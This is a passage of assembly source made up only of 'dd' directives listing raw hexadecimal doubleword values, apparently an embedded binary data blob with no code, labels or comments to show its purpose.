dd 72E93681h, 55A853F0h, 3A0F0BE7h, 0E2DF015Fh, 619F9BF3h
dd 0E2ECF9B8h, 15BC0074h, 0B902B818h, 84004EF4h, 0CDF56707h
dd 0DB447Fh, 94AB2147h, 0DF53604Fh, 2C2A5DB8h, 63E0BCEDh
dd 12EE2D02h, 0C0375616h, 3D8A34h, 7BF9A50Fh, 5CFB989Bh
dd 7CBF3000h, 2326FA1Ah, 0B490000Eh, 0BBEEC274h, 0A900E01Dh
dd 0D34C28D4h, 7DEA47h, 99F76B72h, 0D592C60h, 7C08B07h
dd 25B01BD0h, 0B86213BCh, 38A41C28h, 6A31C035h, 0C432D8B8h
dd 95F8C3F4h, 0D9B6D703h, 0F004ED40h, 4805D154h, 1007291h
dd 0FB9E2567h, 4807AE61h, 6AF27147h, 0CFE036B7h, 246F4Fh
dd 84450326h, 7A3BFD5Bh, 33C0BB1Ch, 0D60400A7h, 0E41B6F6h
dd 5D22C813h, 1AF8E0E3h, 0A4003ECFh, 8CC18F14h, 0A2D0E00h
dd 179A5D21h, 168B00F4h, 0CE6CEDEAh, 9D014522h, 75D168A3h
dd 2FCC231Eh, 57980109h, 27B8113Bh, 9158F42Ah, 3C5FA08h
dd 49C38722h, 420FB862h, 0BAB20031h, 631EFAh, 4152BE51h
dd 952BA344h, 0DF5DC603h, 0CB99BF73h, 6218D894h, 35608086h
dd 10C31902h, 6085D5CBh, 75870944h, 1704BAF9h, 7C700Eh
dd 0C1C69B26h, 0E20065A8h, 0D92D72C3h, 1E44988Eh, 0C00D9F3Ch
dd 6E82D8C2h, 0D1769546h, 240C7600h, 96988920h, 0D4881C7Eh
dd 406403h, 40FDEABAh, 0A1010B8Fh, 2639F0E5h, 0E040C6E0h
dd 0FDEA6h, 0DA6586AAh, 0E603C2AFh, 0B788800h, 0B12FCD50h
dd 119905E7h, 0D08738DFh, 497B6C28h, 2BDE6A13h, 0ABBAB000h
dd 0A51209h, 0D95A2EBEh, 0C4FD5024h, 0C44E862Ah, 0F9D61400h
dd 0B3AAE620h, 15123C9Eh, 2FE57B8Ah, 0C1CB0080h, 0D1573DB6h
dd 0F38CF900h, 9EB87112h, 620C381h, 9DE09203h, 0CE037FF0h
dd 59AC7020h, 80DE8255h, 10F7E9B6h, 433C30DFh, 877178A9h
dd 1D24FB48h, 5C896848h, 51884033h, 0CF830CF4h, 0C021FC20h
dd 4959BE1Dh, 3417D380h, 38D23B15h, 9CD0A276h, 4DE30044h
dd 4203B7E1h, 0A100E243h, 0A8ECC1D4h, 3ACCBB6Eh, 0FB0BA9h
dd 6B2CB65Dh, 0E087EE7Ah, 3F006AB0h, 59FCD1B3h, 0E5E963C3h
dd 0CF12E038h, 707031EBh, 818D30DFh, 180ED23Bh, 7CB1A8DDh
dd 13C80020h, 8B14F261h, 2BF2E05Dh, 763F8C1Ch, 0A78D800h
dd 0FE3ADD1Ah, 14951h, 61F92818h, 1B482026h, 0A5D009Ch
dd 0D91D8DF0h, 598F1FCAh, 6B47005Bh, 6FA9BA56h, 3AE32201h
dd 0C5D729CCh, 0FA409040h, 3EACA886h, 91640498h, 9768609Eh
dd 0ABCCE060h, 0B012773h, 1937E458h, 0ACF885A8h, 9CB83DBFh
dd 6D230803h, 0ECC07934h, 2B07A1A7h, 7F6BADBEh, 0C51052B0h
dd 0E0D100A6h, 82710D2Eh, 62602BD4h, 0CBFC5960h, 5AD71E05h
dd 8CB307F8h, 25E9B015h, 38031A16h, 77CDE67Eh, 51CEF0F7h
dd 76700A02h, 0AEF0C850h, 0AE7F81C0h, 0F47947B9h, 7E0AE845h
dd 0B43D99D8h, 0C9DAB780h, 1FD99678h, 743536Ch, 0E099F090h
dd 0DC0525E6h, 0E31BD00h, 0A4FF2DA8h, 8C60503Dh, 99A1002Fh
dd 0DF725DF4h, 0E8E29CC0h, 53002B74h, 5891B9F1h, 90F7B25Fh
dd 0DA2900EEh, 0A6B1540Ah, 96091B39h, 0AE47637Dh, 62D30018h
dd 1D56C2F6h, 35A8FFh, 5FCFA6BEh, 2E1EB85Ch, 8B003739h
dd 0C806E153h, 0C1E9070Dh, 0C33FD535h, 5CC8D3CDh, 5F00B7C9h
dd 0F8E398B1h, 3EEBAA9Fh, 468712FCh, 8BDBAC14h, 0C8B4A000h
dd 0B95C19FEh, 67809C84h, 0E876597Ah, 702500D8h, 284DB1FAh
dd 4100E997h, 0F3C8DA20h, 39F521Ah, 1EAB659h, 20002705h
dd 91F0B2D1h, 288AE40h, 1FE0C9B5h, 2040D4FFh, 0A4077277h
dd 69B95497h, 42D8C762h, 75188036h, 1D927CA1h, 0C793AA49h
dd 30578A8Dh, 0C4FF71DFh, 9C1DC700h, 0B4690E07h, 1B3FB831h
dd 0C81AD106h, 4FB01A8h, 7F185C00h, 0C6C83C09h, 36350120h
dd 234EB64h, 0C30423D8h, 0B93CADF4h, 5BF8F2D0h, 8C930042h
dd 8301E6DEh, 0BB01B7F6h, 21DC3F09h, 0EBF8C732h, 23B6039Bh
dd 45756F1Eh, 0AC68938Ah, 490E0B01h, 7FE20825h, 4EF4B48Fh
dd 982320BCh, 3267DF1h, 6113362h, 86C01C34h, 0FAFE549Dh
dd 0EA6B9C00h, 7436A672h, 5FEEBFh, 0FD5C9126h, 59F5A72Ch
dd 89376000h, 0DFCCE331h, 58C559ABh, 25FB5413h, 0A15A8060h
dd 2DE62B19h, 808D6700h, 5DEBD953h, 81020B70h, 0F200750Dh
dd 4CD42BFEh, 0C79E2E01h
dd 98A5A9F8h, 1ACAC880h, 0CA1F51Dh, 0EDF4D80Bh, 0BE7E006Fh
dd 45FCDBh, 673FDFAFh, 537DAA47h, 480EDC00h, 0EAF45B5Ah
dd 74E100F7h, 953EF3B5h, 64006A23h, 0DB8C076Bh, 4E84FF6Dh
dd 0D0940E2Dh, 822A5280h, 0F93EB3BBh, 27300763h, 7C90A67Dh
dd 1255EA6Eh, 404BC6BCh, 96CA173h, 260089E6h, 0F220ADDh
dd 487D70A7h, 0FD00E420h, 14B6AC99h, 4800F385h, 4478D2FEh
dd 0CF0BB0h, 1E08BDA0h, 0E10763B2h, 8B04C2E8h, 72015871h
dd 0D14B0h, 5BDA8F13h, 0F29CEC5Eh, 3D00C9FAh, 4614810h
dd 70B77803h, 7B6014BDh, 0BC0098C0h, 0F1ED66FFh, 0E3002D87h
dd 623EE6C7h, 1E1AE35h, 4DF40C2h, 0F88F181Eh, 0AA722FD0h
dd 6487FF26h, 7FFAEF05h, 0A7DCE401h, 0E8FA4DADh, 1F36FB4h
dd 641DB5BEh, 0F81EB237h, 0A27B4FEAh, 3456EE07h, 54607461h
dd 1C03ECBCh, 0C42A8606h, 0C0FDC54Fh, 0E5914E64h, 0E4681409h
dd 8A2C0063h, 8050BAh, 3319F0A0h, 0FBF5B98Fh, 25DC4A00h
dd 87DE9AA3h, 1064611Ah, 0DC86CF6Ch, 0B602858Fh, 9D7D98BBh
dd 7658685Fh, 0FB3E00ACh, 1BD92C90h, 30192E0h, 83CC36A4h
dd 806CF037h, 507D2537h, 5AAEDB8Ah, 3656EB09h, 95BC04F9h
dd 57AF92C0h, 0C260E71h, 7B00233Dh, 0E499E175h, 0A9A0D712h
dd 0AFA3BC07h, 0C75C9D21h, 59D369ECh, 7600F4C2h, 442D0B68h
dd 0AE3E5FCBh, 254D8078h, 6529F2DAh, 0C690F7h, 0F877C1EDh
dd 83E18ACBh, 2C07953Bh, 7F80900Bh, 0CE4CD169h, 0D810DF30h
dd 79EFCAD3h, 0FF315A0Fh, 8DF343ECh, 0AF20000Ch, 5C9C21C4h
dd 377319E9h, 0D94B720Fh, 8048EFCDh, 6EFF49A0h, 0ACCB00E4h
dd 0F6305292h, 0F281774h, 0A83DF0A9h, 666A0114h, 1552F751h
dd 77D48840h, 34032E12h, 0A7140069h, 73632D5Fh, 0DA0074B8h
dd 26B49415h, 1D33733h, 0A73E04A4h, 0E012027Dh, 5CB8CF2Fh
dd 82B5CC00h, 58176D4Bh, 5BB2003Fh, 0D7CD3D27h, 6488E46h
dd 1D9B02C9h, 0C8956196h, 7A3C2598h, 0C5B639F6h, 0EDBFEC3Bh
dd 106F3800h, 0BBEBD06Bh, 41C1E526h, 69EC5400h, 1EFBBA75h
dd 80AEDD31h, 8EC9A31Ah, 0D100D0FFh, 0E1B5522Fh, 5056EC0Dh
dd 0B473A9F4h, 10166090h, 0EE1DC705h, 7C85D92Eh, 0A88AA44Dh
dd 0F829D101h, 20ABBCB9h, 9D169304h, 2400510Ah, 77705A9Fh
dd 1C1C900Fh, 0C07D8F6Fh, 21281E84h, 52122E59h, 1807C6A7h
dd 1E58CA5Ah, 40082C4Dh, 4CCFEAB3h, 0EC31A228h, 0F5B72100h
dd 0C061036Bh, 3B83008Fh, 37E66CDEh, 0E3B5950h, 8804CB9Bh
dd 0B240A81Ch, 780C4D3Ch, 45AA381Eh, 65C97C40h, 7F909FA5h
dd 538C011Ah, 0E66B9D07h, 6ECC7015h, 0CCB09C90h, 0FF587176h
dd 0DA3D033Ch, 0E8A1B14Ah, 0D75325h, 0CBADCCB8h, 0C5154CB3h
dd 1D22B900h, 2957EB90h, 193300F5h, 6AA72417h, 1503DB16h
dd 754F9C63h, 679E038h, 1B600A6h, 0C9918E5Eh, 50039F32h
dd 6A10358Ch, 7079D883h, 0F12C2CECh, 47730028h, 0CC228916h
dd 55C99E00h, 0FF4D8061h, 0B8D8EE15h, 672B005Dh, 0EF1174C0h
dd 9300C824h, 0DBB0FB1Ah, 0F5837CCh, 7DF14A2h, 84228A20h
dd 9C009174h, 69E6572h, 289F0C5Ch, 0EB8621Ch, 0D17F80E6h
dd 93B31E80h, 160083CBh, 0EEEF0E9Bh, 0E3E139h, 78565015h
dd 0B5087602h, 0CDC01600h, 99103230h, 4168001Ah, 6AA34B03h
dd 2EE683A8h, 73D55900h, 33FA8CE0h, 67950760h, 0A09E8B14h
dd 53B63E98h, 0CA032D00h, 7674860Ch, 8B6500E4h, 36411056h
dd 0E91CF885h, 134B2BF9h, 243350D0h, 1EC591Dh, 179A43FDh
dd 0C4260E3h, 0B021B900h, 4FD90D79h, 49003BEh, 0F6824572h
dd 8DC78AE8h, 0A192C600h, 0C3CBF4B7h, 6D8E0032h, 98405B29h
dd 0D81288ECh, 0F4A11BC8h, 0E376DE80h, 0F0E99423h, 83EA1D3Ch
dd 0FC5DD522h, 37CC00Ch, 0EDA900D0h, 0F7A94A1h, 5768F34h
dd 80D33Eh, 3745327Bh, 303F013h, 0AE9C197Dh, 0C0A4BEBCh
dd 0C1688434h, 0D5554817h, 5BA22440h, 0EEF560C7h, 0EDAC002Ch
dd 85B4BBABh, 0D20D44DEh, 181388C8h, 7889ABE3h, 4BE0FBA8h
dd 0B9E80052h, 689622DFh, 9F00A33Bh, 0B9DB5B4h, 25A2E2h
dd 2FFFF60Ch, 0D395187h, 1FC9603Ch, 84DDB28Eh, 50339200h
dd 0C32213h, 0E5097A36h, 0D55481A4h, 0B1FE5500h, 1128FD4Bh
dd 0B084679Bh, 940880C9h, 0E4001476h, 0E39CAA79h, 4EE668ADh
dd 2E000C4h, 1D84B111h, 4AED9401h, 85263773h, 10BE2F0h
dd 0DD0CF876h, 0C28B077Dh, 887B960h, 0EB1C7060h, 0E8CBB5h
dd 26FCD7F7h, 0A0B76637h, 0E6E05400h, 9324AB2Bh, 551800B0h
dd 8845AC1Eh, 4F078631h, 0ED57DF3Fh, 0E31F1300h, 90730E5Dh
dd 3800E0DCh, 26C50715h, 0F13A0B07h, 406E0DF9h, 117C5201h
dd 0D8F000BEh, 4AA3DDEEh, 6A001E8Eh, 0B98F60Ah, 77BF3032h
dd 53EB014h, 0B5D90E60h, 0C6980CAh, 0F20031E5h, 0A50D1F10h
dd 0F04D7FFh, 0FBE33D93h, 19C0704Fh, 92FC37Bh, 0C8360228h
dd 663E61F8h, 5AF8161Eh, 0B15E8905h, 807EE382h, 0F49B45A1h
dd 15330E88h, 44E002D8h, 890403B6h, 14C020D2h, 88965A88h
dd 1001E92h, 2E7609A8h, 4816FBF9h, 0C902237Fh, 39817B20h
dd 0B1703562h, 8F8BAF1Ch, 0F635007Fh, 0D17B02DEh, 28F0A87Dh
dd 2C1F0EB1h, 0CDA1A6FDh, 0D1B4AF07h, 0C7586425h, 1D1F5807h
dd 0D85713B9h, 86EED3E1h, 50274C40h, 7861FCD0h, 880A3E8Eh
dd 79FBC700h, 48AA449Ah, 0E82EC607h, 0A250D131h, 33A0B8h
dd 0FAA40ADAh, 0B7C7C373h, 915C6300h, 0B0C91C92h, 17790027h
dd 5BDA2E4Fh, 0C4007F5Dh, 244AF8BEh, 12D128C0h, 0A88C6322h
dd 3FF900BAh, 2ED86CD9h, 81880009h, 8A863283h, 0F8002C05h
dd 1959FB18h, 0C9765h, 7B4712E3h, 0BF6EAE33h, 6C133Dh
dd 0EC7A04Dh, 7846AAA1h, 4C8EA0C1h, 1279000Ah, 0D2D02B63h
dd 911DED3Bh, 0FDBC61h, 7E7D2152h, 66C8B5h, 4D4297CCh
dd 13BBF8B9h, 0F396BF00h, 80592C65h, 8AA41F0Eh, 24C88D2Bh
dd 0AE199D30h, 30218BD1h, 182D428Ah, 42C7DC08h, 8111E0Ah
dd 71B5B111h, 4A308A56h, 631FD711h, 3A1B203h, 0AFC8A02Dh
dd 3EB80EDEh, 500CF7FFh, 5D034F21h, 9813746h, 0CB1BEC8h
dd 2E7BAE2Bh, 96004039h, 9FF5EEBAh, 0FAB50412h, 0F75E06C7h
dd 70F29E8Dh, 6FF1844h, 0BB3833C8h, 0B7781166h, 59B16Fh
dd 512ADC47h, 429902C6h, 4D5CA4BCh, 950F9490h, 3B8174FAh
dd 9400A871h, 1D1915A1h, 98827707h, 947499CDh, 791F7236h
dd 0C2048F28h, 9CA0AE4Bh, 0C93F91C6h, 3E0BCAE4h, 8014FE28h
dd 0AE5799A7h, 8B59008Ah, 2EE69808h, 0E8073102h, 0A91FD71Eh
dd 654917E0h, 87C548A0h, 0F9FD900h, 0D7BF3D1Ch, 1AE4C300h
dd 66BAF45Fh, 0FCFD00CFh, 0DBA2296Ch, 6F0098B4h, 1863E7E5h
dd 0F4E8BE1Eh, 738500CFh, 0B1C5BD6Bh, 1BF204D3h, 0D8212D00h
dd 4F61225Bh, 0C64D0063h, 8D387988h, 0DC008636h, 9E8021BFh
dd 0FF95873h, 0A662EA8Fh, 0D5FE2B60h, 8407D76Eh, 4FBDD076h
dd 3AAF9960h, 8B3F0016h, 544E1795h, 710015A0h, 77A96881h
dd 0EE5D72C2h, 0DD4F001Dh, 8C268721h, 0CD70691Ah, 1442B00h
dd 34CE5725h, 20462845h, 94400081h, 0C99D80F9h, 4F0CDF0Fh
dd 21999023h, 9EA239ABh, 70A3F500h, 0C69C96B4h, 0DD94C8A0h
dd 272E9A00h, 933CEC6Fh, 7C7200C9h, 45E49650h, 0AB74DF8Ah
dd 0CD90DCA8h, 6F5FEC00h, 8E4433A1h, 7875002Fh, 0FB14533Ch
dd 0AE01F671h, 5A8DDDB5h
dd 6CDCE997h, 287475ABh, 1C60A43h, 0F83811A4h, 0E0C53681h
dd 74006CD0h, 764A5124h, 7EEC55h, 659C06A5h, 0E7E65E5Dh
dd 37D21501h, 953324FEh, 0EDEC960h, 317843D0h, 291B5401h
dd 0C100D3A4h, 81C14F7Fh, 331530h, 0C26BE3ADh, 223D52ABh
dd 1A04B3Ah, 0A8B23E13h, 40314533h, 0C6DCAAF9h, 6ACA0015h
dd 6DC217BAh, 4E24F55h, 5078EE00h, 771B79F5h, 921002B7h
dd 0AC543824h, 94739F40h, 0F62AFA01h, 0A42F5B82h, 58989840h
dd 61DF0054h, 0F41B8846h, 0B10141E6h, 0B9D7558Bh, 6834EF70h
dd 5EAD00BCh, 8D5D7C4Bh, 0D5001579h, 5C165860h, 0C0367E81h
dd 2DA80A32h, 5E0A669Dh, 0DD95346Dh, 48565403h, 0F50190D8h
dd 0F0421C3Fh, 60BE03DCh, 0AFA02D78h, 490C15Ch, 0FEC7C207h
dd 0B0F2E942h, 68AC069h, 0D0992C0Ah, 716C03A4h, 48803018h
dd 6100FB9Bh, 207C792Bh, 9AB4A5Fh, 35E3A3EFh, 0AC819D00h
dd 0B900371Bh, 0DBB86FEEh, 3C85E27h, 0DE0BC34Dh, 0A1B02999h
dd 0D30921E2h, 58F72Eh, 686FF16Ch, 4A7626FFh, 0A4B40008h
dd 0C9B9543Dh, 0C0CB7000h, 97923B24h, 0EE6F009Bh, 78F7597Ch
dd 0E307654Ah, 271148C9h, 3F95A910h, 4C7AFEh, 9BD40A57h
dd 0D9734FA6h, 4E9A1A01h, 0F362FCF1h, 5AA170h, 14D33F92h
dd 0F226056h, 64CAE600h, 0FCECB465h, 0F01D31DDh, 24984CC9h
dd 81007414h, 0EF57BF46h, 93B721Ah, 8292AC51h, 8000A70Bh
dd 0A54EB95Dh, 8AE13C00h, 0A04AFE99h, 8C89097Fh, 9C2743FBh
dd 6A5E803Ah, 3F00FC29h, 1A3039B9h, 0F140FDh, 59C7906Dh
dd 0EC3A867Ah, 619D0E00h, 54D085A6h, 0BBE1142Fh, 700EC9Ch
dd 4B52E48Fh, 0F901FCAAh, 0CB66150Ch, 6BDCB083h, 10FF0079h
dd 0E4E8577Eh, 5E74C826h, 3DC7FD07h, 74B02352h, 656255h
dd 0DCD00470h, 59EDB9DFh, 0A7EB2B00h, 0CAF945E2h, 51127524h
dd 0ACE0B914h, 177556h, 70502BF0h, 0F5CEA1EAh, 6BAFEF07h
dd 97703FC1h, 486489h, 4B8881AAh, 74C47235h, 0E70098B8h
dd 5E840A76h, 120149CCh, 360E3Ch, 27054D5Ah, 3201B4F4h
dd 3945EFE5h, 0B5F0FA95h, 0ED7216EAh, 147F000Fh, 448F187Ch
dd 0F85DA902h, 0C893E8A6h, 0F617A64h, 0AADD0C45h, 4FD37480h
dd 79F25BEDh, 7C9B5250h, 0F5A03Fh, 4B6795F9h, 22A15Fh
dd 697D8D59h, 5AF6F0B7h, 14971E00h, 7FC8F524h, 0CB801DDh
dd 59E47E72h, 75DEF42Ch, 0B3B23Ah, 0A0C0839Ah, 921BD2FFh
dd 5887038Ch, 7BB46CF2h, 0E86AB5D1h, 6E00C49Fh, 0F484BD5h
dd 7960776h, 66355E67h, 434F2171h, 0F9288088h, 746A7CC1h
dd 0FA9C309Ah, 871F91A8h, 0FF55700h, 0CE6FBDB6h, 3FD8E6A5h
dd 208376C0h, 452DC89Dh, 6A339F98h, 8780F500h, 4796F050h
dd 8494A052h, 0B298C4h, 8E32462Ch, 70238205h, 48019A72h
dd 2218B4E9h, 0F3C49087h, 94110009h, 47EF2549h, 890050ACh
dd 26312AE5h, 78BD39h, 20513EB1h, 11858014h, 0F55F700h
dd 5231D2Ah, 0F87E05C6h, 80E4CB74h, 583CD244h, 9E91B4A8h
dd 71ACEC0Fh, 682B801Ch, 3E631AA6h, 0CA858977h, 0D3F3C559h
dd 3BA0D610h, 0AF1F5DDDh, 5B031DFBh, 0F884C581h, 72B7616Ch
dd 0CD9F0092h, 40D2EA5Fh, 0CB002E41h, 2F34D094h, 0F2DCB2h
dd 0B0325063h, 316E5565h, 705A8524h, 0D5EED600h, 6E1B8BBh
dd 228BDF4Dh, 0F30750C0h, 297D0EC1h, 0F0A70C31h, 0EC53A4DCh
dd 9BA800CAh, 5262631Eh, 410018E8h, 9D929FD3h, 0F2D5F2AFh
dd 28170027h, 69A64A20h, 29001A64h, 0F1BD2B34h, 0A06F70C2h
dd 33255EBh, 7E1DD17Ah, 7800682Eh, 246DD818h, 4D3A9AA4h
dd 9700FC93h, 0EFA20353h, 0E70565A1h, 0D5E98680h, 0F7B404C0h
dd 71AB0067h, 3440CE63h, 0DD04850Ch, 2DF2CC80h, 91C51C81h
dd 1FA5C0h, 5C15892h, 5A2581C7h, 9D311300h, 0C26D3A32h
dd 1A4A007Bh, 0B6F1752Ah, 1B11B595h, 0B20F0F07h, 0F6A7A1DBh
dd 4257E0h, 7030E6F8h, 1AEBBC00h, 1B28E2ACh, 513809BDh
dd 14806763h, 69D8F715h, 0DF001375h, 0C4FAA1FBh, 3DD63616h
dd 710098EDh, 0FC6441F1h, 5F1301EBh, 209A703h, 0AFB44831h
dd 26A9004Ah, 3E8A92DCh, 65049E49h, 2C477932h, 4DE505h
dd 0EAC40D18h, 340303C2h, 17C396E7h, 0E480E763h, 94F6C5E9h
dd 0CF418094h, 6B20CA8Ah, 1F76BF00h, 0F0860716h, 7B8D0029h
dd 0F3B1C9FDh, 2E162649h, 0C20EDD2Bh, 53B2A00Fh, 58584DE6h
dd 0AD33DCCDh, 0A8884798h, 0B14569Eh, 9CE74Ah, 0F6E6C6ABh
dd 0C3506A7Fh, 903B9D70h, 85BC71F1h, 48F03989h, 0A91093h
dd 0CEC32130h, 0DEAD26DBh, 9A8DBB00h, 0EAA3C0B3h, 1AB006Bh
dd 1C2BAF3Dh, 0A500BCFFh, 254BC21Eh, 0D0818Eh, 90322848h
dd 5FFE77EEh, 7CE0DB00h, 0A9B5BB65h, 49E10380h, 0E9DA6654h
dd 0B668CCD8h, 0C36EFD00h, 0BA38F407h, 0D0B30021h, 716AA736h
dd 5200BD30h, 90D3DA13h, 9E8A1h, 0D74B27E3h, 0FCDCBC93h
dd 4EA59400h, 40A014C8h, 0F33C0E59h, 0B94078C0h, 73628807h
dd 8369C207h, 75C7DC76h, 0A7D32F40h, 0B43200E4h, 7A3EDD35h
dd 3100BA34h, 3D64AE92h, 3B7B761Fh, 10011903h, 0EBDAFE09h
dd 0C7B9C0E5h, 2CA17005h, 0A440C14Ah, 1EAE53BFh, 88F00B9Ah
dd 2AF65DF4h, 29009426h, 55063B96h, 30703B04h, 8B49B285h
dd 8CBC402Fh, 0AD227993h, 99E7563Eh, 0A5085EC3h, 0FB832180h
dd 0A038FE78h, 96B1BF01h, 0C345F1CBh, 2B4AC8h, 44CCD4B8h
dd 65511EE9h, 5001B7EEh, 96B22ED5h, 0C7C95C4Ah, 0DDE8A984h
dd 870480EFh, 3A699E8Ah, 8D84809h, 1BEF00D3h, 1EF98F38h
dd 0C5000478h, 3A50A964h, 498DE74h, 308D6AFDh, 1F11432Ch
dd 624100EEh, 0F9A3C3ABh, 0B714D620h, 60D8564Fh, 9103A1F8h
dd 0C118C18Dh, 48B4EB09h, 0FA72A388h, 0F5588F60h, 5AAEF2h
dd 39DF2A28h, 20677558h, 1CA13100h, 0AD93794Dh, 3C11002Dh
dd 1861F072h, 0D30360EBh, 0FD91E3D9h, 5B66B8D1h, 0E646003Eh
dd 0A625BE9Dh, 8A397001h, 7519E047h, 94545Bh, 0E9D90797h
dd 5E7F4829h, 7EB3311Dh, 0FA728C80h, 0C2ECAEh, 0D84A16CAh
dd 0D6B4E1BBh, 68E69430h, 1C03365h, 0B710E73Fh, 984CDED2h
dd 82215908h, 32C0013Bh, 7B624342h, 4CC8609Ch, 0A348910Ch
dd 2CFD882Dh, 0C2EC31h, 57ED9A36h, 0EE74CABEh, 97212860h
dd 72B0ACA2h, 9B3E0031h, 0A3858BE4h, 508045D8h, 392D0101h
dd 887D4CC1h, 401981D1h, 2336C0BFh, 66D6498Ch, 1005299h
dd 59B716A9h, 6FF9422h, 0E8309D05h, 4500208Ch, 962E7C9h
dd 15E2892h, 8DA6BF7Bh, 0EC2D90C0h, 29C5A7DFh, 0A85EEC55h
dd 47CC821Dh, 16D1169h, 2CB6D765h, 0ECDE3A6Eh, 730345B1h
dd 44F34DABh, 5191A11Eh, 0FECD8458h, 0A22B239Ah, 90C608h
dd 0E0ACAF94h, 1A062DBBh, 9646D55Eh, 5C820089h, 7B67EEF9h
dd 0AA0079A7h, 0E05C74Dh, 39FEB4Ch, 60D2C878h, 0A1483E12h
dd 0F942001Ch, 70060448h, 0DD200E14h, 0FDFEFFh, 0A868EA79h
dd 46711E64h, 745D0328h, 0E062C00h, 0AA36A3B3h, 3D1F00EAh
dd 5A02E321h, 1C187267h, 19998F3Eh, 73A53A6Eh, 2AA6771Dh
dd 0AB203AC0h, 0E13C8E0Ch, 9E004629h, 0BF29F714h, 660F8AB2h
dd 21690897h, 11F64F00h, 0A49503BCh, 3DCE04B6h, 40C338C4h
dd 0BAED273Ah, 7D3E2FCh, 0B6D0BB30h, 888ED491h, 0DC3A7108h
dd 0CC038075h, 314B2E5Ch, 36C90FAh, 0D2088ED0h, 5140E46Dh
dd 0AE01C2D3h, 0F02DBDDCh
dd 188AFB46h, 85846A47h, 0C04F114Ah, 0F9613CCEh, 87DD8F00h
dd 0C61982A7h, 54103AFFh, 38A03B98h, 55412BF9h, 396609Eh
dd 0BF3A5967h, 0F4FB711Fh, 0CFBAAD07h, 0C460606Eh, 387493h
dd 34C8D2E1h, 0D1FFC386h, 5B01300Fh, 0F7D99827h, 46490078h
dd 0CEDF3F88h, 0B51D336Bh, 12409B13h, 0F16C27A8h, 1A17111h
dd 5798D3E3h, 0F0B935B6h, 10017D8h, 42141CBFh, 0BC58AB0h
dd 110651E1h, 55896480h, 0A0ABD47Eh, 887877E0h, 0F3821C00h
dd 0B612104h, 912000DCh, 0E8E955E5h, 53144523h, 0FA04D098h
dd 0F695F1C1h, 9F18F097h, 6B99124h, 71517403h, 2D299012h
dd 739577A6h, 0C83803CAh, 0CB8BFF18h, 0DC57280Eh, 3DD13F13h
dd 58D11700h, 4A761472h, 9AB639h, 0AC6C8423h, 1C58Eh, 0F705A336h
dd 0F5529177h, 94007B7Dh, 0D149C6ADh, 0B0756h, 0E73A3DC3h
dd 0E945607Fh, 14333Dh, 20089034h, 17828413h, 2ADA9h, 97538999h
dd 3B3A456Bh, 0DBC68F1Eh, 8B0012BAh, 144373BDh, 72600070h
dd 3C16994Bh, 19390513h, 3FA0306h, 9865AD09h, 3CD50494h
dd 7C80C845h, 86C64EE7h, 0D65840CDh, 9FC917FEh, 95769A00h
dd 0B9737Bh, 0E9B26026h, 62496CA8h, 0D416ED00h, 51C6942Eh
dd 6F1C1628h, 0F53E00DCh, 4AC75A7Ah, 8C09D0E2h, 801BBAE1h
dd 2A02F78h, 0CC6100B0h, 6E42FF48h, 2D0979B5h, 0DFE624h
dd 1F93FC9Fh, 0E5F204h, 0FE6D108Ch, 6B3AD992h, 0D0A1C100h
dd 35BE9F07h, 0C24B03D5h, 2BFC6558h, 46768690h, 3B8FAE4h
dd 37CAE501h, 0A0F9A518h, 369DEE0h, 0E0D7942h, 3EE065EBh
dd 0E4008B91h, 1639FAF4h, 1F891736h, 0C7C13A4Ch, 70D50637h
dd 3111E0BAh, 0A47B39h, 1C248EFh, 0BEE9FFh, 70404C0Dh
dd 838BE1BDh, 30299B30h, 1CE41961h, 0C072B966h, 81752E58h
dd 99090FA0h, 3057F8h, 0E765B48h, 97FA00ABh, 0ADD7C383h
dd 88180A05h, 1B10841Fh, 2F230F64h, 4960B510h, 0FEAB4EE8h
dd 1C55A53Fh, 34808EB6h, 0EDE21EEFh, 0DA2F03ECh, 6A9F0889h
dd 0CA9B4000h, 0BFE8D3C5h, 2D3100FCh, 9481FF45h, 2700AA1Fh
dd 0D73C9A6Ah, 48D19029h, 2A0094B8h, 6B721AFFh, 0ED06C32Dh
dd 5CDACC6Eh, 24E6F268h, 71873CFh, 0DE4F3D14h, 0D5CE8D40h
dd 934865AFh, 0CFF60004h, 22C78442h, 7D1002Bh, 2FD7DE9Ah
dd 0FA00E00Dh, 0E566E14Ch, 3A8BF87h, 52933439h, 69A302D2h
dd 22AEF1E0h, 76D12D00h, 3FCCA31Fh, 1659016Dh, 0F1B59166h
dd 86E1807Ah, 6208E143h, 6B8C001Bh, 155579EAh, 0F3000484h
dd 0E906CA12h, 7F7AC566h, 0A8420747h, 10EF4Bh, 7BB1CBBAh
dd 0F8C004F6h, 0AD7501EBh, 0C9171896h, 0B767608Eh, 45655605h
dd 0AF03BC7Ch, 0A8EDB93Dh, 81E677h, 144261E3h, 53B31211h
dd 0BC599918h, 98A79E20h, 7052029Dh, 0CAAD19B9h, 48BFAC80h
dd 78009B3Ch, 9A0DCCDCh, 90431DB2h, 2BDF0108h, 99F4570Eh
dd 0F2F848B4h, 56E77900h, 3A1B22F3h, 0D55305AAh, 36B9BE99h
dd 340C58D8h, 80C7CDC9h, 0AFC802AEh, 323D6A99h, 0FBEEFC80h
dd 20C6374h, 0C9AC015Eh, 98F2008Dh, 5515D590h, 247931E2h
dd 87994300h, 9BBA25BDh, 80C1428Bh, 6A3BC90Fh, 48C56065h
dd 8FCD950Eh, 0F07C2700h, 533222BFh, 194E71D3h, 71B02D69h
dd 9B1BE4A5h, 2629E514h, 389F0880h, 0AC102Dh, 5AFE0166h
dd 1FF88579h, 8742E790h, 0F0997219h, 46F79CD9h, 0AC7E9892h
dd 75AF808h, 1A803D6Bh, 6CECF145h, 5E007451h, 0E0823441h
dd 0E36CEh, 0B08665B5h, 86C4C48h, 842E3700h, 305044E5h
dd 157E214h, 75461DFEh, 20407B0Ch, 0B700C068h, 0F517C9D0h
dd 8231C4h, 3F4EA676h, 5D5BCBC6h, 0BA571A00h, 5A387BE6h
dd 44362CD6h, 4218803Ch, 340DEAB3h, 5C557624h, 0A440C481h
dd 608095B1h, 5F6FF1DFh, 4C05D87Fh, 0BCE45EF3h, 939CE400h
dd 0C03E096Ah, 0D72F728h, 2E0755D8h, 86987EAh, 6253E0C0h
dd 34322A90h, 23220294h, 2EEDFB15h, 2BD1AC82h, 10B8FC91h
dd 4ACCE69h, 0A30E4224h, 7138D71Bh, 2055A2E4h, 0EB009B3Ch
dd 2E3C787Dh, 6927CDh, 88B36D16h, 0F4E60B9Ah, 0C3003B7Eh
dd 90F29505h, 1350380Ah, 300F374Bh, 45809DB0h, 1CAC2E24h
